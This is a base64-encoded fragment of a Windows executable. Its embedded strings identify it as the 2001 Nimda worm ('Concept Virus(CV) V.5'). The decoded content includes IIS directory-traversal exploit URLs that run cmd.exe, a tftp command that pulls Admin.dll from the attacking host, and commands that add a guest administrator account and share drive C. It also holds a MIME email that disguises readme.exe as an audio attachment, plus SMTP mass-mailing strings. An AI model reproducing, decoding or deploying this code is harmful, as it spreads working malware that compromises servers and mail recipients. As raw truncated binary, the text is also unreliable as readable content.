AFkBR2V0U3lzdGVtRGlyZWN0b3J5QQB9AUdldFdpbmRvd3NEaXJlY3RvcnlBAAAmAUdldE1vZHVs ZUhhbmRsZUEAAHUBR2V0VmVyc2lvbkV4QQA+AUdldFByb2NBZGRyZXNzAADCAUxvYWRMaWJyYXJ5 QQAAXQFHZXRTeXN0ZW1UaW1lAH0ARXhpdFByb2Nlc3MAnQFIZWFwRGVzdHJveQAaAUdldExhc3RF cnJvcgAAmwFIZWFwQ3JlYXRlAADlAldyaXRlUHJpdmF0ZVByb2ZpbGVTdHJpbmdBAABLRVJORUwz Mi5kbGwAAFsBUmVnQ2xvc2VLZXkAewFSZWdRdWVyeVZhbHVlRXhBAAByAVJlZ09wZW5LZXlFeEEA ZwFSZWdFbnVtS2V5RXhBAF8BUmVnQ3JlYXRlS2V5RXhBAGIBUmVnRGVsZXRlS2V5QQBqAVJlZ0Vu dW1WYWx1ZUEAhgFSZWdTZXRWYWx1ZUV4QQAAegFSZWdRdWVyeVZhbHVlQQAAQURWQVBJMzIuZGxs AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AC4AAABTeXN0ZW1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXNcVnhEXE1TVENQAE5hbWVTZXJ2 ZXIAAFNZU1RFTVxDdXJyZW50Q29udHJvbFNldFxTZXJ2aWNlc1xUY3BpcFxQYXJhbWV0ZXJzXElu dGVyZmFjZXNcAABTWVNURU1cQ3VycmVudENvbnRyb2xTZXRcU2VydmljZXNcVGNwaXBcUGFyYW1l dGVyc1xJbnRlcmZhY2VzAAAAQ29uY2VwdCBWaXJ1cyhDVikgVi41LCBDb3B5cmlnaHQoQykyMDAx ICBSLlAuQ2hpbmEAAE1JTUUtVmVyc2lvbjogMS4wDQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9y ZWxhdGVkOw0KCXR5cGU9Im11bHRpcGFydC9hbHRlcm5hdGl2ZSI7DQoJYm91bmRhcnk9Ij09PT1f QUJDMTIzNDU2Nzg5MERFRl89PT09Ig0KWC1Qcmlvcml0eTogMw0KWC1NU01haWwtUHJpb3JpdHk6 IE5vcm1hbA0KWC1VbnNlbnQ6IDENCg0KLS09PT09X0FCQzEyMzQ1Njc4OTBERUZfPT09PQ0KQ29u dGVudC1UeXBlOiBtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7DQoJYm91bmRhcnk9Ij09PT1fQUJDMDk4 NzY1NDMyMURFRl89PT09Ig0KDQotLT09PT1fQUJDMDk4NzY1NDMyMURFRl89PT09DQpDb250ZW50 LVR5cGU6IHRleHQvaHRtbDsNCgljaGFyc2V0PSJpc28tODg1OS0xIg0KQ29udGVudC1UcmFuc2Zl ci1FbmNvZGluZzogcXVvdGVkLXByaW50YWJsZQ0KDQoNCjxIVE1MPjxIRUFEPjwvSEVBRD48Qk9E WSBiZ0NvbG9yPTNEI2ZmZmZmZj4NCjxpZnJhbWUgc3JjPTNEY2lkOkVBNERNR0JQOXAgaGVpZ2h0 PTNEMCB3aWR0aD0zRDA+DQo8L2lmcmFtZT48L0JPRFk+PC9IVE1MPg0KLS09PT09X0FCQzA5ODc2 NTQzMjFERUZfPT09PS0tDQoNCi0tPT09PV9BQkMxMjM0NTY3ODkwREVGXz09PT0NCkNvbnRlbnQt VHlwZTogYXVkaW8veC13YXY7DQoJbmFtZT0icmVhZG1lLmV4ZSINCkNvbnRlbnQtVHJhbnNmZXIt RW5jb2Rpbmc6IGJhc2U2NA0KQ29udGVudC1JRDogPEVBNERNR0JQOXA+DQoNCgAAAA0KDQotLT09 PT1fQUJDMTIzNDU2Nzg5MERFRl89PT09DQoNCgAAAABOVUw9AAAAAA0KDQpbcmVuYW1lXQ0KAABc d2luaW5pdC5pbmkAAAAAQzpcAFBlcnNvbmFsAAAAAFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dz XEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXFNoZWxsIEZvbGRlcnMAAAAAXAAAAC4uAABcKi4qAAAA AAQAAIACAACARVhQTE9SRVIAAAAAZnNkaHFoZXJ3cWkyMDAxAFNZU1RFTVxDdXJyZW50Q29udHJv bFNldFxTZXJ2aWNlc1xsYW5tYW5zZXJ2ZXJcU2hhcmVzXFNlY3VyaXR5AABzaGFyZSBjJD1jOlwA AAAAdXNlciBndWVzdCAiIgAAAGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgZ3Vlc3QgL2FkZAAA AABsb2NhbGdyb3VwIEd1ZXN0cyBndWVzdCAvYWRkAAAAAHVzZXIgZ3Vlc3QgL2FjdGl2ZQAAb3Bl bgAAAAB1c2VyIGd1ZXN0IC9hZGQAbmV0AEhpZGVGaWxlRXh0AFNob3dTdXBlckhpZGRlbgBIaWRk ZW4AAFNvZnR3YXJlXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXEFk dmFuY2VkACVscwBcXCVzAAAAACVsZCAlbGQgJWxkACVsZCAlbGQASW1hZ2UgU3BhY2UgRXhlYyBX cml0ZSBDb3B5AEltYWdlIFNwYWNlIEV4ZWMgUmVhZC9Xcml0ZQBJbWFnZSBTcGFjZSBFeGVjIFJl YWQgT25seQAASW1hZ2UgU3BhY2UgRXhlY3V0YWJsZQAASW1hZ2UgU3BhY2UgV3JpdGUgQ29weQAA SW1hZ2UgU3BhY2UgUmVhZC9Xcml0ZQAASW1hZ2UgU3BhY2UgUmVhZCBPbmx5AAAASW1hZ2UgU3Bh Y2UgTm8gQWNjZXNzAAAATWFwcGVkIFNwYWNlIEV4ZWMgV3JpdGUgQ29weQAAAABNYXBwZWQgU3Bh Y2UgRXhlYyBSZWFkL1dyaXRlAAAAAE1hcHBlZCBTcGFjZSBFeGVjIFJlYWQgT25seQBNYXBwZWQg U3BhY2UgRXhlY3V0YWJsZQBNYXBwZWQgU3BhY2UgV3JpdGUgQ29weQBNYXBwZWQgU3BhY2UgUmVh ZC9Xcml0ZQBNYXBwZWQgU3BhY2UgUmVhZCBPbmx5AABNYXBwZWQgU3BhY2UgTm8gQWNjZXNzAABS ZXNlcnZlZCBTcGFjZSBFeGVjIFdyaXRlIENvcHkAAFJlc2VydmVkIFNwYWNlIEV4ZWMgUmVhZC9X cml0ZQAAUmVzZXJ2ZWQgU3BhY2UgRXhlYyBSZWFkIE9ubHkAAABSZXNlcnZlZCBTcGFjZSBFeGVj dXRhYmxlAAAAUmVzZXJ2ZWQgU3BhY2UgV3JpdGUgQ29weQAAAFJlc2VydmVkIFNwYWNlIFJlYWQv V3JpdGUAAABSZXNlcnZlZCBTcGFjZSBSZWFkIE9ubHkAAAAAUmVzZXJ2ZWQgU3BhY2UgTm8gQWNj ZXNzAAAAAFByb2Nlc3MgQWRkcmVzcyBTcGFjZQAAAEV4ZWMgV3JpdGUgQ29weQBFeGVjIFJlYWQv V3JpdGUARXhlYyBSZWFkIE9ubHkAAEV4ZWN1dGFibGUAAFdyaXRlIENvcHkAAFJlYWQvV3JpdGUA AFJlYWQgT25seQAAAE5vIEFjY2VzcwAAAEltYWdlAAAAVXNlciBQQwBUaHJlYWQgRGV0YWlscwAA SUQgVGhyZWFkAAAAUHJpb3JpdHkgQ3VycmVudAAAAABDb250ZXh0IFN3aXRjaGVzL3NlYwAAAABT dGFydCBBZGRyZXNzAAAAVGhyZWFkAABQYWdlIEZhdWx0cy9zZWMAVmlydHVhbCBCeXRlcyBQZWFr AABWaXJ0dWFsIEJ5dGVzAAAAUHJpdmF0ZSBCeXRlcwAAAElEIFByb2Nlc3MAAEVsYXBzZWQgVGlt ZQAAAABQcmlvcml0eSBCYXNlAAAAV29ya2luZyBTZXQgUGVhawAAAABXb3JraW5nIFNldAAlIFVz ZXIgVGltZQAlIFByaXZpbGVnZWQgVGltZQAAACUgUHJvY2Vzc29yIFRpbWUAAAAAUHJvY2VzcwBD b3VudGVyIDAwOQBzb2Z0d2FyZVxtaWNyb3NvZnRcd2luZG93cyBudFxjdXJyZW50dmVyc2lvblxw ZXJmbGliXDAwOQAAAABDb3VudGVycwAAAABWZXJzaW9uAExhc3QgQ291bnRlcgAAAABzb2Z0d2Fy ZVxtaWNyb3NvZnRcd2luZG93cyBudFxjdXJyZW50dmVyc2lvblxwZXJmbGliAAAAAC9zY3JpcHRz AAAAAC9NU0FEQwAAL2MAAC9kAAAvc2NyaXB0cy8uLiUyNTVjLi4AAC9fdnRpX2Jpbi8uLiUyNTVj Li4vLi4lMjU1Yy4uLy4uJTI1NWMuLgAvX21lbV9iaW4vLi4lMjU1Yy4uLy4uJTI1NWMuLi8uLiUy NTVjLi4AL21zYWRjLy4uJTI1NWMuLi8uLiUyNTVjLi4vLi4lMjU1Yy8uLiVjMSUxYy4uLy4uJWMx JTFjLi4vLi4lYzElMWMuLgAvc2NyaXB0cy8uLiVjMSUxYy4uAC9zY3JpcHRzLy4uJWMwJTJmLi4A L3NjcmlwdHMvLi4lYzAlYWYuLgAvc2NyaXB0cy8uLiVjMSU5Yy4uAC9zY3JpcHRzLy4uJSUzNSU2 My4uAAAAAC9zY3JpcHRzLy4uJSUzNWMuLgAAL3NjcmlwdHMvLi4lMjUlMzUlNjMuLgAAL3Njcmlw dHMvLi4lMjUyZi4uAAAvcm9vdC5leGU/L2MrAAAAL3dpbm50L3N5c3RlbTMyL2NtZC5leGU/L2Mr AG5ldCUlMjB1c2UlJTIwXFwlc1xpcGMkJSUyMCIiJSUyMC91c2VyOiJndWVzdCIAAHRmdHAlJTIw LWklJTIwJXMlJTIwR0VUJSUyMEFkbWluLmRsbCUlMjAAAAAAQWRtaW4uZGxsAAAAYzpcQWRtaW4u ZGxsAAAAAGQ6XEFkbWluLmRsbAAAAABlOlxBZG1pbi5kbGwAAAAADQo8aHRtbD48c2NyaXB0IGxh bmd1YWdlPSJKYXZhU2NyaXB0Ij53aW5kb3cub3BlbigicmVhZG1lLmVtbCIsIG51bGwsICJyZXNp emFibGU9bm8sdG9wPTYwMDAsbGVmdD02MDAwIik8L3NjcmlwdD48L2h0bWw+AAAAAC9BZG1pbi5k bGwAAGRpcgBHRVQgJXMgSFRUUC8xLjANCkhvc3Q6IHd3dw0KQ29ubm5lY3Rpb246IGNsb3NlDQoN CgAAYzoAAHJlYWRtZQAAbWFpbgAAAABpbmRleAAAAGRlZmF1bHQAaHRtbAAAAAAuYXNwAAAAAC5o dG0AAAAAXHJlYWRtZS5lbWwALmV4ZQAAAABtZXAAd2luemlwMzIuZXhlAAAAAHJpY2hlZDIwLmRs bAAAAAAubndzAAAAAC5lbWwAAAAALmRvYwAAAAAgLmV4ZQAAAGRvbnRydW5vbGQAAGlvY3Rsc29j a2V0AGdldGhvc3RieW5hbWUAAABnZXRob3N0bmFtZQBpbmV0X250b2EAAABpbmV0X2FkZHIAAABu dG9obAAAAGh0b25sAAAAbnRvaHMAAABodG9ucwAAAGNsb3Nlc29ja2V0AHNlbGVjdAAAc2VuZHRv AABzZW5kAAAAAHJlY3Zmcm9tAAAAAHJlY3YAAAAAYmluZAAAAABjb25uZWN0AHNvY2tldAAAX19X U0FGRElzU2V0AAAAAFdTQUNsZWFudXAAAFdTQVN0YXJ0dXAAAHdzMl8zMi5kbGwAAE1BUElMb2dv ZmYAAE1BUElTZW5kTWFpbAAAAABNQVBJRnJlZUJ1ZmZlcgAATUFQSVJlYWRNYWlsAAAAAE1BUElG aW5kTmV4dAAAAABNQVBJUmVzb2x2ZU5hbWUATUFQSUxvZ29uAAAATUFQSTMyLkRMTAAAV05ldEFk ZENvbm5lY3Rpb24yQQBXTmV0Q2FuY2VsQ29ubmVjdGlvbjJBAABXTmV0T3BlbkVudW1BAAAAV05l dEVudW1SZXNvdXJjZUEAAABXTmV0Q2xvc2VFbnVtAAAATVBSLkRMTABTaGVsbEV4ZWN1dGVBAAAA U0hFTEwzMi5ETEwAUmVnaXN0ZXJTZXJ2aWNlUHJvY2VzcwAAVmlydHVhbEZyZWVFeAAAAFZpcnR1 YWxRdWVyeUV4AABWaXJ0dWFsQWxsb2NFeAAAVmlydHVhbFByb3RlY3RFeAAAAABDcmVhdGVSZW1v dGVUaHJlYWQAAEhlYXBDb21wYWN0AEhlYXBGcmVlAAAAAEhlYXBBbGxvYwAAAEhlYXBEZXN0cm95 AEhlYXBDcmVhdGUAAEtFUk5FTDMyLkRMTAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxBcHAgUGF0aHNcAAAAAFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1 cnJlbnRWZXJzaW9uXEFwcCBQYXRocwBUeXBlAAAAAFJlbWFyawAAWDpcAFNPRlRXQVJFXE1pY3Jv c29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXE5ldHdvcmtcTGFuTWFuXFgkAFBhcm0yZW5jAAAA AFBhcm0xZW5jAAAAAEZsYWdzAAAAUGF0aAAAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xD dXJyZW50VmVyc2lvblxOZXR3b3JrXExhbk1hblwAAABTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93 c1xDdXJyZW50VmVyc2lvblxOZXR3b3JrXExhbk1hbgAAAABTWVNURU1cQ3VycmVudENvbnRyb2xT ZXRcU2VydmljZXNcbGFubWFuc2VydmVyXFNoYXJlcwAAAA0KAABDYWNoZQAAAFNvZnR3YXJlXE1p Y3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEV4cGxvcmVyXE1hcE1haWwAAFFVSVQNCgAA Lg0KAFN1YmplY3Q6IAAAAEZyb206IDwAREFUQQ0KAABSQ1BUIFRPOiA8AAA+DQoATUFJTCBGUk9N OiA8AAAAAEhFTE8gAAAAYWFiYmNjAAAgLWRvbnRydW5vbGQAAAAATlVMTAAAAABccmVhZG1lKi5l eGUAAAAAYWRtaW4uZGxsAAAAcXVzZXJ5OWJub3cAIC1xdXNlcnk5Ym5vdwAAAFxtbWMuZXhlAAAA AFxyaWNoZWQyMC5kbGwAAABib290AAAAAFNoZWxsAAAAZXhwbG9yZXIuZXhlIGxvYWQuZXhlIC1k b250cnVub2xkAAAAXHN5c3RlbS5pbmkAXGxvYWQuZXhlAAAAXFwAAG9jdGV0AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAMAAwAAACgAAIAKAAAAYAAA gA4AAAB4AACAAAAAAAAAAAAEAAAAAAAFAAEAAACQAACAAgAAAKgAAIADAAAAwAAAgAQAAADYAACA BQAAAPAAAIAAAAAAAAAAAAQAAAAAAAEAZgAAAAgBAIAAAAAAAAAAAAQAAAAAAAEAZQAAACABAIAA AAAAAAAAAAQAAAAAAAEABAgAADgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAEgBAAAAAAAAAAAAAAQA AAAAAAEABAgAAFgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAGgBAAAAAAAAAAAAAAQAAAAAAAEABAgA AHgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAIgBAAAAAAAAAAAAAAQAAAAAAAEABAgAAJgBAACo4QAA KAEAAOQEAAAAAAAA0OIAAOgCAADkBAAAAAAAALjlAACoCAAA5AQAAAAAAABg7gAAqA4AAOQEAAAA AAAACP0AADABAADkBAAAAAAAADj+AAABAAAA5AQAAAAAAAA8/gAATAAAAOQEAAAAAAAAKAAAABAA AAAgAAAAAQAEAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAIAAAACAgACAAAAAgACA AICAAACAgIAAwMDAAAAA/wAA/wAAAP//AP8AAAD/AP8A//8AAP///wAAB3d3d3d3cAAHiIiIiIhw AMcP+I+IiHAMAAZm+PiIcDxMzMxvj4hwd0zIjMb4iHB3bG///4+IcAeMZmZm+IhwBHhv/Ob/iHAA R4zOb/+HcAAEZmb8+HdwAAcP9m/3AAAABw////cHAAAHAAAAB3AAAAd3d3d3AAAAAAAAAAAAAOAB gADgAQCAyAH//6AB//gAAQAAAAEAgAAB//+AAf/4gAEAAMABAIDgAf//6AH/+OgLAADv5wCA4A8A AP//AAgoAAAAIAAAAEAAAAABAAQAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAA AICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAA AAAAAAAAAAAAAAAAAACIiIiIiIiIiIiIiIgAAAAAh3d3d3d3d3d3d3d4AAAAAI////f3d3d3d3d3 eAAAAACA////d/f3d3d3d3gAAAAAgP////9/f393d3d4AAAEzMD///////f393d3eAAATACMBMZm b////393d3gAAEwAAMZszMZv//f393d4AAjEBExszMzMxv//f3d3eAAIZETGzGZszMxv//d3d3gA CDZMZsb//MzGxv//d3d4AAiMxGxv//9MZub/9/d3eAAIg2xsb/////////9/d3gACHiGbGZmZmZm Zv///3d4AACHhszMzGZu7ub///f3eAAAyHzGZmZmZu7m////d3gAAASHxm///0bu5v////d4AAAM 